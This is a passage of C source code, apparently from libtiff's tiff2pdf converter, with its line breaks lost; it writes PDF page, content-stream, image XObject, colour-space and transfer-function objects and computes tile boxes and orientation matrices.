buflen); written += t2pWriteFile(output, (tdata_t) " \n>> \n", 6); return(written); } /* This function writes a PDF Page structure to output. */ tsize_t t2p_write_pdf_page(uint32 object, T2P* t2p, TIFF* output){ unsigned int i=0; tsize_t written=0; char buffer[256]; int buflen=0; written += t2pWriteFile(output, (tdata_t) "<<\n/Type /Page \n/Parent ", 24); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_pages); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R \n", 6); written += t2pWriteFile(output, (tdata_t) "/MediaBox [", 11); buflen=snprintf(buffer, sizeof(buffer), "%.4f",t2p->pdf_mediabox.x1); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " ", 1); buflen=snprintf(buffer, sizeof(buffer), "%.4f",t2p->pdf_mediabox.y1); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " ", 1); buflen=snprintf(buffer, sizeof(buffer), "%.4f",t2p->pdf_mediabox.x2); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " ", 1); buflen=snprintf(buffer, sizeof(buffer), "%.4f",t2p->pdf_mediabox.y2); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "] \n", 3); written += t2pWriteFile(output, (tdata_t) "/Contents ", 10); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(object + 1)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R \n", 6); written += t2pWriteFile(output, (tdata_t) "/Resources << \n", 15); if( t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount != 0 ){ written += t2pWriteFile(output, (tdata_t) "/XObject <<\n", 12); for(i=0;i<t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount;i++){ written += t2pWriteFile(output, (tdata_t) "/Im", 3); buflen = snprintf(buffer, sizeof(buffer), "%u", t2p->pdf_page+1); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "_", 1); buflen = snprintf(buffer, sizeof(buffer), "%u", i+1); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " ", 1); buflen = snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(object+3+(2*i)+t2p->tiff_pages[t2p->pdf_page].page_extra)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); if(i%4==3){ written += t2pWriteFile(output, (tdata_t) "\n", 1); } } written += t2pWriteFile(output, (tdata_t) ">>\n", 3); } else { written += t2pWriteFile(output, (tdata_t) "/XObject <<\n", 12); written += t2pWriteFile(output, (tdata_t) "/Im", 3); buflen = snprintf(buffer, sizeof(buffer), "%u", t2p->pdf_page+1); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " ", 1); buflen = snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(object+3+(2*i)+t2p->tiff_pages[t2p->pdf_page].page_extra)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); written += t2pWriteFile(output, (tdata_t) ">>\n", 3); } if(t2p->tiff_transferfunctioncount != 0) { written += t2pWriteFile(output, (tdata_t) "/ExtGState <<", 13); t2pWriteFile(output, (tdata_t) "/GS1 ", 5); buflen = snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(object + 3)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); written += t2pWriteFile(output, (tdata_t) ">> \n", 4); } written += t2pWriteFile(output, (tdata_t) "/ProcSet [ ", 11); if(t2p->pdf_colorspace & T2P_CS_BILEVEL || t2p->pdf_colorspace & T2P_CS_GRAY ){ written += t2pWriteFile(output, (tdata_t) "/ImageB ", 8); } else { written += t2pWriteFile(output, (tdata_t) "/ImageC ", 8); if(t2p->pdf_colorspace & T2P_CS_PALETTE){ written += t2pWriteFile(output, (tdata_t) "/ImageI ", 8); } } written += t2pWriteFile(output, (tdata_t) "]\n>>\n>>\n", 8); return(written); } /* This function composes the page size and image and tile locations on a page. */ void t2p_compose_pdf_page(T2P* t2p){ uint32 i=0; uint32 i2=0; T2P_TILE* tiles=NULL; T2P_BOX* boxp=NULL; uint32 tilecountx=0; uint32 tilecounty=0; uint32 tilewidth=0; uint32 tilelength=0; int istiled=0; float f=0; float width_ratio=0; float length_ratio=0; t2p->pdf_xres = t2p->tiff_xres; t2p->pdf_yres = t2p->tiff_yres; if(t2p->pdf_overrideres) { t2p->pdf_xres = t2p->pdf_defaultxres; t2p->pdf_yres = t2p->pdf_defaultyres; } if(t2p->pdf_xres == 0.0) t2p->pdf_xres = t2p->pdf_defaultxres; if(t2p->pdf_yres == 0.0) t2p->pdf_yres = t2p->pdf_defaultyres; if (t2p->pdf_image_fillpage) { width_ratio = t2p->pdf_defaultpagewidth/t2p->tiff_width; length_ratio = t2p->pdf_defaultpagelength/t2p->tiff_length; if (width_ratio < length_ratio ) { t2p->pdf_imagewidth = t2p->pdf_defaultpagewidth; t2p->pdf_imagelength = t2p->tiff_length * width_ratio; } else { t2p->pdf_imagewidth = t2p->tiff_width * length_ratio; t2p->pdf_imagelength = t2p->pdf_defaultpagelength; } } else if (t2p->tiff_resunit != RESUNIT_CENTIMETER /* RESUNIT_NONE and */ && t2p->tiff_resunit != RESUNIT_INCH) { /* other cases */ t2p->pdf_imagewidth = ((float)(t2p->tiff_width))/t2p->pdf_xres; t2p->pdf_imagelength = ((float)(t2p->tiff_length))/t2p->pdf_yres; } else { t2p->pdf_imagewidth = ((float)(t2p->tiff_width))*PS_UNIT_SIZE/t2p->pdf_xres; t2p->pdf_imagelength = ((float)(t2p->tiff_length))*PS_UNIT_SIZE/t2p->pdf_yres; } if(t2p->pdf_overridepagesize != 0) { t2p->pdf_pagewidth = t2p->pdf_defaultpagewidth; t2p->pdf_pagelength = t2p->pdf_defaultpagelength; } else { t2p->pdf_pagewidth = t2p->pdf_imagewidth; t2p->pdf_pagelength = t2p->pdf_imagelength; } t2p->pdf_mediabox.x1=0.0; t2p->pdf_mediabox.y1=0.0; t2p->pdf_mediabox.x2=t2p->pdf_pagewidth; t2p->pdf_mediabox.y2=t2p->pdf_pagelength; t2p->pdf_imagebox.x1=0.0; t2p->pdf_imagebox.y1=0.0; t2p->pdf_imagebox.x2=t2p->pdf_imagewidth; t2p->pdf_imagebox.y2=t2p->pdf_imagelength; if(t2p->pdf_overridepagesize!=0){ t2p->pdf_imagebox.x1+=((t2p->pdf_pagewidth-t2p->pdf_imagewidth)/2.0F); t2p->pdf_imagebox.y1+=((t2p->pdf_pagelength-t2p->pdf_imagelength)/2.0F); t2p->pdf_imagebox.x2+=((t2p->pdf_pagewidth-t2p->pdf_imagewidth)/2.0F); t2p->pdf_imagebox.y2+=((t2p->pdf_pagelength-t2p->pdf_imagelength)/2.0F); } if(t2p->tiff_orientation > 4){ f=t2p->pdf_mediabox.x2; t2p->pdf_mediabox.x2=t2p->pdf_mediabox.y2; t2p->pdf_mediabox.y2=f; } istiled=((t2p->tiff_tiles[t2p->pdf_page]).tiles_tilecount==0) ? 0 : 1; if(istiled==0){ t2p_compose_pdf_page_orient(&(t2p->pdf_imagebox), t2p->tiff_orientation); return; } else { tilewidth=(t2p->tiff_tiles[t2p->pdf_page]).tiles_tilewidth; tilelength=(t2p->tiff_tiles[t2p->pdf_page]).tiles_tilelength; if( tilewidth > INT_MAX || tilelength > INT_MAX || t2p->tiff_width > INT_MAX - tilewidth || t2p->tiff_length > INT_MAX - tilelength ) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; return; } tilecountx=(t2p->tiff_width + tilewidth -1)/ tilewidth; (t2p->tiff_tiles[t2p->pdf_page]).tiles_tilecountx=tilecountx; tilecounty=(t2p->tiff_length + tilelength -1)/ tilelength; (t2p->tiff_tiles[t2p->pdf_page]).tiles_tilecounty=tilecounty; (t2p->tiff_tiles[t2p->pdf_page]).tiles_edgetilewidth= t2p->tiff_width % tilewidth; (t2p->tiff_tiles[t2p->pdf_page]).tiles_edgetilelength= t2p->tiff_length % tilelength; tiles=(t2p->tiff_tiles[t2p->pdf_page]).tiles_tiles; for(i2=0;i2<tilecounty-1;i2++){ for(i=0;i<tilecountx-1;i++){ boxp=&(tiles[i2*tilecountx+i].tile_box); boxp->x1 = t2p->pdf_imagebox.x1 + ((float)(t2p->pdf_imagewidth * i * tilewidth) / (float)t2p->tiff_width); boxp->x2 = t2p->pdf_imagebox.x1 + ((float)(t2p->pdf_imagewidth * (i+1) * tilewidth) / (float)t2p->tiff_width); boxp->y1 = t2p->pdf_imagebox.y2 - ((float)(t2p->pdf_imagelength * (i2+1) * tilelength) / (float)t2p->tiff_length); boxp->y2 = t2p->pdf_imagebox.y2 - ((float)(t2p->pdf_imagelength * i2 * tilelength) / (float)t2p->tiff_length); } boxp=&(tiles[i2*tilecountx+i].tile_box); boxp->x1 = t2p->pdf_imagebox.x1 + ((float)(t2p->pdf_imagewidth * i * tilewidth) / (float)t2p->tiff_width); boxp->x2 = t2p->pdf_imagebox.x2; boxp->y1 = t2p->pdf_imagebox.y2 - ((float)(t2p->pdf_imagelength * (i2+1) * tilelength) / (float)t2p->tiff_length); boxp->y2 = t2p->pdf_imagebox.y2 - ((float)(t2p->pdf_imagelength * i2 * tilelength) / (float)t2p->tiff_length); } for(i=0;i<tilecountx-1;i++){ boxp=&(tiles[i2*tilecountx+i].tile_box); boxp->x1 = t2p->pdf_imagebox.x1 + ((float)(t2p->pdf_imagewidth * i * tilewidth) / (float)t2p->tiff_width); boxp->x2 = t2p->pdf_imagebox.x1 + ((float)(t2p->pdf_imagewidth * (i+1) * tilewidth) / (float)t2p->tiff_width); boxp->y1 = t2p->pdf_imagebox.y1; boxp->y2 = t2p->pdf_imagebox.y2 - ((float)(t2p->pdf_imagelength * i2 * tilelength) / (float)t2p->tiff_length); } boxp=&(tiles[i2*tilecountx+i].tile_box); boxp->x1 = t2p->pdf_imagebox.x1 + ((float)(t2p->pdf_imagewidth * i * tilewidth) / (float)t2p->tiff_width); boxp->x2 = t2p->pdf_imagebox.x2; boxp->y1 = t2p->pdf_imagebox.y1; boxp->y2 = t2p->pdf_imagebox.y2 - ((float)(t2p->pdf_imagelength * i2 * tilelength) / (float)t2p->tiff_length); } if(t2p->tiff_orientation==0 || t2p->tiff_orientation==1){ for(i=0;i<(t2p->tiff_tiles[t2p->pdf_page]).tiles_tilecount;i++){ t2p_compose_pdf_page_orient( &(tiles[i].tile_box) , 0); } return; } for(i=0;i<(t2p->tiff_tiles[t2p->pdf_page]).tiles_tilecount;i++){ boxp=&(tiles[i].tile_box); boxp->x1 -= t2p->pdf_imagebox.x1; boxp->x2 -= t2p->pdf_imagebox.x1; boxp->y1 -= t2p->pdf_imagebox.y1; boxp->y2 -= t2p->pdf_imagebox.y1; if(t2p->tiff_orientation==2 || t2p->tiff_orientation==3){ boxp->x1 = t2p->pdf_imagebox.x2 - t2p->pdf_imagebox.x1 - boxp->x1; boxp->x2 = t2p->pdf_imagebox.x2 - t2p->pdf_imagebox.x1 - boxp->x2; } if(t2p->tiff_orientation==3 || t2p->tiff_orientation==4){ boxp->y1 = t2p->pdf_imagebox.y2 - t2p->pdf_imagebox.y1 - boxp->y1; boxp->y2 = t2p->pdf_imagebox.y2 - t2p->pdf_imagebox.y1 - boxp->y2; } if(t2p->tiff_orientation==8 || t2p->tiff_orientation==5){ boxp->y1 = t2p->pdf_imagebox.y2 - t2p->pdf_imagebox.y1 - boxp->y1; boxp->y2 = t2p->pdf_imagebox.y2 - t2p->pdf_imagebox.y1 - boxp->y2; } if(t2p->tiff_orientation==5 || t2p->tiff_orientation==6){ boxp->x1 = t2p->pdf_imagebox.x2 - t2p->pdf_imagebox.x1 - boxp->x1; boxp->x2 = t2p->pdf_imagebox.x2 - t2p->pdf_imagebox.x1 - boxp->x2; } if(t2p->tiff_orientation > 4){ f=boxp->x1; boxp->x1 = boxp->y1; boxp->y1 = f; f=boxp->x2; boxp->x2 = boxp->y2; boxp->y2 = f; t2p_compose_pdf_page_orient_flip(boxp, t2p->tiff_orientation); } else { t2p_compose_pdf_page_orient(boxp, t2p->tiff_orientation); } } return; } void t2p_compose_pdf_page_orient(T2P_BOX* boxp, uint16 orientation){ float m1[9]; float f=0.0; if( boxp->x1 > boxp->x2){ f=boxp->x1; boxp->x1=boxp->x2; boxp->x2 = f; } if( boxp->y1 > boxp->y2){ f=boxp->y1; boxp->y1=boxp->y2; boxp->y2 = f; } boxp->mat[0]=m1[0]=boxp->x2-boxp->x1; boxp->mat[1]=m1[1]=0.0; boxp->mat[2]=m1[2]=0.0; boxp->mat[3]=m1[3]=0.0; boxp->mat[4]=m1[4]=boxp->y2-boxp->y1; boxp->mat[5]=m1[5]=0.0; boxp->mat[6]=m1[6]=boxp->x1; boxp->mat[7]=m1[7]=boxp->y1; boxp->mat[8]=m1[8]=1.0; switch(orientation){ case 0: case 1: break; case 2: boxp->mat[0]=0.0F-m1[0]; boxp->mat[6]+=m1[0]; break; case 3: boxp->mat[0]=0.0F-m1[0]; boxp->mat[4]=0.0F-m1[4]; boxp->mat[6]+=m1[0]; boxp->mat[7]+=m1[4]; break; case 4: boxp->mat[4]=0.0F-m1[4]; boxp->mat[7]+=m1[4]; break; case 5: boxp->mat[0]=0.0F; boxp->mat[1]=0.0F-m1[0]; boxp->mat[3]=0.0F-m1[4]; boxp->mat[4]=0.0F; boxp->mat[6]+=m1[4]; boxp->mat[7]+=m1[0]; break; case 6: boxp->mat[0]=0.0F; boxp->mat[1]=0.0F-m1[0]; boxp->mat[3]=m1[4]; boxp->mat[4]=0.0F; boxp->mat[7]+=m1[0]; break; case 7: boxp->mat[0]=0.0F; boxp->mat[1]=m1[0]; boxp->mat[3]=m1[4]; boxp->mat[4]=0.0F; break; case 8: boxp->mat[0]=0.0F; boxp->mat[1]=m1[0]; boxp->mat[3]=0.0F-m1[4]; boxp->mat[4]=0.0F; boxp->mat[6]+=m1[4]; break; } return; } void t2p_compose_pdf_page_orient_flip(T2P_BOX* boxp, uint16 orientation){ float m1[9]; float f=0.0; if( boxp->x1 > boxp->x2){ f=boxp->x1; boxp->x1=boxp->x2; boxp->x2 = f; } if( boxp->y1 > boxp->y2){ f=boxp->y1; boxp->y1=boxp->y2; boxp->y2 = f; } boxp->mat[0]=m1[0]=boxp->x2-boxp->x1; boxp->mat[1]=m1[1]=0.0F; boxp->mat[2]=m1[2]=0.0F; boxp->mat[3]=m1[3]=0.0F; boxp->mat[4]=m1[4]=boxp->y2-boxp->y1; boxp->mat[5]=m1[5]=0.0F; boxp->mat[6]=m1[6]=boxp->x1; boxp->mat[7]=m1[7]=boxp->y1; boxp->mat[8]=m1[8]=1.0F; switch(orientation){ case 5: boxp->mat[0]=0.0F; boxp->mat[1]=0.0F-m1[4]; boxp->mat[3]=0.0F-m1[0]; boxp->mat[4]=0.0F; boxp->mat[6]+=m1[0]; boxp->mat[7]+=m1[4]; break; case 6: boxp->mat[0]=0.0F; boxp->mat[1]=0.0F-m1[4]; boxp->mat[3]=m1[0]; boxp->mat[4]=0.0F; boxp->mat[7]+=m1[4]; break; case 7: boxp->mat[0]=0.0F; boxp->mat[1]=m1[4]; boxp->mat[3]=m1[0]; boxp->mat[4]=0.0F; break; case 8: boxp->mat[0]=0.0F; boxp->mat[1]=m1[4]; boxp->mat[3]=0.0F-m1[0]; boxp->mat[4]=0.0F; boxp->mat[6]+=m1[0]; break; } return; } /* This function writes a PDF Contents stream to output. */ tsize_t t2p_write_pdf_page_content_stream(T2P* t2p, TIFF* output){ tsize_t written=0; ttile_t i=0; char buffer[512]; int buflen=0; T2P_BOX box; if(t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount>0){ for(i=0;i<t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount; i++){ box=t2p->tiff_tiles[t2p->pdf_page].tiles_tiles[i].tile_box; buflen=snprintf(buffer, sizeof(buffer), "q %s %.4f %.4f %.4f %.4f %.4f %.4f cm /Im%d_%ld Do Q\n", t2p->tiff_transferfunctioncount?"/GS1 gs ":"", box.mat[0], box.mat[1], box.mat[3], box.mat[4], box.mat[6], box.mat[7], t2p->pdf_page + 1, (long)(i + 1)); check_snprintf_ret(t2p, buflen, buffer); written += t2p_write_pdf_stream(buffer, buflen, output); } } else { box=t2p->pdf_imagebox; buflen=snprintf(buffer, sizeof(buffer), "q %s %.4f %.4f %.4f %.4f %.4f %.4f cm /Im%d Do Q\n", t2p->tiff_transferfunctioncount?"/GS1 gs ":"", box.mat[0], box.mat[1], box.mat[3], box.mat[4], box.mat[6], box.mat[7], t2p->pdf_page+1); check_snprintf_ret(t2p, buflen, buffer); written += t2p_write_pdf_stream(buffer, buflen, output); } return(written); } /* This function writes a PDF Image XObject stream dictionary to output. */ tsize_t t2p_write_pdf_xobject_stream_dict(ttile_t tile, T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; written += t2p_write_pdf_stream_dict(0, t2p->pdf_xrefcount+1, output); written += t2pWriteFile(output, (tdata_t) "/Type /XObject \n/Subtype /Image \n/Name /Im", 42); buflen=snprintf(buffer, sizeof(buffer), "%u", t2p->pdf_page+1); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); if(tile != 0){ written += t2pWriteFile(output, (tdata_t) "_", 1); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)tile); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); } written += t2pWriteFile(output, (tdata_t) "\n/Width ", 8); if(tile==0){ buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_width); } else { if(t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile-1)!=0){ buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth); } else { buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth); } } check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "\n/Height ", 9); if(tile==0){ buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_length); } else { if(t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile-1)!=0){ buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength); } else { buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); } } check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "\n/BitsPerComponent ", 19); buflen=snprintf(buffer, sizeof(buffer), "%u", t2p->tiff_bitspersample); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "\n/ColorSpace ", 13); written += t2p_write_pdf_xobject_cs(t2p, output); if (t2p->pdf_image_interpolate) written += t2pWriteFile(output, (tdata_t) "\n/Interpolate true", 18); if( (t2p->pdf_switchdecode != 0) #ifdef CCITT_SUPPORT && ! (t2p->pdf_colorspace & T2P_CS_BILEVEL && t2p->pdf_compression == T2P_COMPRESS_G4) #endif ){ written += t2p_write_pdf_xobject_decode(t2p, output); } written += t2p_write_pdf_xobject_stream_filter(tile, t2p, output); return(written); } /* * This function writes a PDF Image XObject Colorspace name to output. */ tsize_t t2p_write_pdf_xobject_cs(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[128]; int buflen=0; float X_W=1.0; float Y_W=1.0; float Z_W=1.0; if( (t2p->pdf_colorspace & T2P_CS_ICCBASED) != 0){ written += t2p_write_pdf_xobject_icccs(t2p, output); return(written); } if( (t2p->pdf_colorspace & T2P_CS_PALETTE) != 0){ written += t2pWriteFile(output, (tdata_t) "[ /Indexed ", 11); t2p->pdf_colorspace ^= T2P_CS_PALETTE; written += t2p_write_pdf_xobject_cs(t2p, output); t2p->pdf_colorspace |= T2P_CS_PALETTE; buflen=snprintf(buffer, sizeof(buffer), "%u", (0x0001 << t2p->tiff_bitspersample)-1 ); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " ", 1); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_palettecs ); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ]\n", 7); return(written); } if(t2p->pdf_colorspace & T2P_CS_BILEVEL){ written += t2pWriteFile(output, (tdata_t) "/DeviceGray \n", 13); } if(t2p->pdf_colorspace & T2P_CS_GRAY){ if(t2p->pdf_colorspace & T2P_CS_CALGRAY){ written += t2p_write_pdf_xobject_calcs(t2p, output); } else { written += t2pWriteFile(output, (tdata_t) "/DeviceGray \n", 13); } } if(t2p->pdf_colorspace & T2P_CS_RGB){ if(t2p->pdf_colorspace & T2P_CS_CALRGB){ written += t2p_write_pdf_xobject_calcs(t2p, output); } else { written += t2pWriteFile(output, (tdata_t) "/DeviceRGB \n", 12); } } if(t2p->pdf_colorspace & T2P_CS_CMYK){ written += t2pWriteFile(output, (tdata_t) "/DeviceCMYK \n", 13); } if(t2p->pdf_colorspace & T2P_CS_LAB){ written += t2pWriteFile(output, (tdata_t) "[/Lab << \n", 10); written += t2pWriteFile(output, (tdata_t) "/WhitePoint ", 12); X_W = t2p->tiff_whitechromaticities[0]; Y_W = t2p->tiff_whitechromaticities[1]; Z_W = 1.0F - (X_W + Y_W); X_W /= Y_W; Z_W /= Y_W; Y_W = 1.0F; buflen=snprintf(buffer, sizeof(buffer), "[%.4f %.4f %.4f] \n", X_W, Y_W, Z_W); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "/Range ", 7); buflen=snprintf(buffer, sizeof(buffer), "[%d %d %d %d] \n", t2p->pdf_labrange[0], t2p->pdf_labrange[1], t2p->pdf_labrange[2], t2p->pdf_labrange[3]); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) ">>] \n", 5); } return(written); } tsize_t t2p_write_pdf_transfer(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; written += t2pWriteFile(output, (tdata_t) "<< /Type /ExtGState \n/TR ", 25); if(t2p->tiff_transferfunctioncount == 1){ buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(t2p->pdf_xrefcount + 1)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); } else { written += t2pWriteFile(output, (tdata_t) "[ ", 2); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(t2p->pdf_xrefcount + 1)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(t2p->pdf_xrefcount + 2)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(t2p->pdf_xrefcount + 3)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); written += t2pWriteFile(output, (tdata_t) "/Identity ] ", 12); } written += t2pWriteFile(output, (tdata_t) " >> \n", 5); return(written); } tsize_t t2p_write_pdf_transfer_dict(T2P* t2p, TIFF* output, uint16 i){ tsize_t written=0; char buffer[32]; int buflen=0; (void)i; /* XXX */ written += t2pWriteFile(output, (tdata_t) "/FunctionType 0 \n", 17); written += t2pWriteFile(output, (tdata_t) "/Domain [0.0 1.0] \n", 19); written += t2pWriteFile(output, (tdata_t) "/Range [0.0 1.0] \n", 18); buflen=snprintf(buffer, sizeof(buffer), "/Size [%u] \n", (1<<t2p->tiff_bitspersample)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "/BitsPerSample 16 \n", 19); written += t2p_write_pdf_stream_dict(((tsize_t)1)<<(t2p->tiff_bitspersample+1), 0, output); return(written); } tsize_t t2p_write_pdf_transfer_stream(T2P* t2p, TIFF* output, uint16 i){ tsize_t written=0; written += t2p_write_pdf_stream( t2p->tiff_transferfunction[i], (((tsize_t)1)<<(t2p->tiff_bitspersample+1)), output); return(written); } /* This function writes a PDF Image XObject Colorspace array to output. */ tsize_t t2p_write_pdf_xobject_calcs(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[256]; int buflen=0; float X_W=0.0; float Y_W=0.0; float Z_W=0.0; float X_R=0.0; float Y_R=0.0; float Z_R=0.0; float X_G=0.0; float Y_G=0.0; float Z_G=0.0; float X_B=0.0; float Y_B=0.0; float Z_B=0.0; float x_w=0.0; float y_w=0.0; float z_w=0.0; float x_r=0.0; float y_r=0.0; float x_g=0.0; float y_g=0.0; float x_b=0.0; float y_b=0.0; float R=1.0; float G=1.0; float B=1.0; written += t2pWriteFile(output, (tdata_t) "[", 1); if(t2p->pdf_colorspace & T2P_CS_CALGRAY){ written += t2pWriteFile(output, (tdata_t) "/CalGray ", 9); X_W = t2p->tiff_whitechromaticities[0]; Y_W = t2p->tiff_whitechromaticities[1]; Z_W = 1.0F - (X_W + Y_W); X_W /= Y_W; Z_W /= Y_W; Y_W = 1.0F; } if(t2p->pdf_colorspace & T2P_CS_CALRGB){ written += t2pWriteFile(output, (tdata_t) "/CalRGB ", 8); x_w = t2p->tiff_whitechromaticities[0]; y_w = t2p->tiff_whitechromaticities[1]; x_r = t2p->tiff_primarychromaticities[0]; y_r = t2p->tiff_primarychromaticities[1]; x_g = t2p->tiff_primarychromaticities[2]; y_g = t2p->tiff_primarychromaticities[3]; x_b = t2p->tiff_primarychromaticities[4]; y_b = t2p->tiff_primarychromaticities[5]; z_w = y_w * ((x_g - x_b)*y_r - (x_r-x_b)*y_g + (x_r-x_g)*y_b); Y_R = (y_r/R) * ((x_g-x_b)*y_w - (x_w-x_b)*y_g + (x_w-x_g)*y_b) / z_w; X_R = Y_R * x_r / y_r; Z_R = Y_R * (((1-x_r)/y_r)-1); Y_G = ((0.0F-(y_g))/G) * ((x_r-x_b)*y_w - (x_w-x_b)*y_r + (x_w-x_r)*y_b) / z_w; X_G = Y_G * x_g / y_g; Z_G = Y_G * (((1-x_g)/y_g)-1); Y_B = (y_b/B) * ((x_r-x_g)*y_w - (x_w-x_g)*y_r + (x_w-x_r)*y_g) / z_w; X_B = Y_B * x_b / y_b; Z_B = Y_B * (((1-x_b)/y_b)-1); X_W = (X_R * R) + (X_G * G) + (X_B * B); Y_W = (Y_R * R) + (Y_G * G) + (Y_B * B); Z_W = (Z_R * R) + (Z_G * G) + (Z_B * B); X_W /= Y_W; Z_W /= Y_W; Y_W = 1.0; } written += t2pWriteFile(output, (tdata_t) "<< \n", 4); if(t2p->pdf_colorspace & T2P_CS_CALGRAY){ written += t2pWriteFile(output, (tdata_t) "/WhitePoint ", 12); buflen=snprintf(buffer, sizeof(buffer), "[%.4f %.4f %.4f] \n", X_W, Y_W, Z_W); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "/Gamma 2.2 \n", 12); } if(t2p->pdf_colorspace & T2P_CS_CALRGB){ written += t2pWriteFile(output, (tdata_t) "/WhitePoint ", 12); buflen=snprintf(buffer, sizeof(buffer), "[%.4f %.4f %.4f] \n", X_W, Y_W, Z_W); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "/Matrix ", 8); buflen=snprintf(buffer, sizeof(buffer), "[%.4f %.4f %.4f %.4f %.4f %.4f %.4f %.4f %.4f] \n", X_R, Y_R, Z_R, X_G, Y_G, Z_G, X_B, Y_B, Z_B); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "/Gamma [2.2 2.2 2.2] \n", 22); } written += t2pWriteFile(output, (tdata_t) ">>] \n", 5); return(written); } /* This function writes a PDF Image XObject Colorspace array to output. */ tsize_t 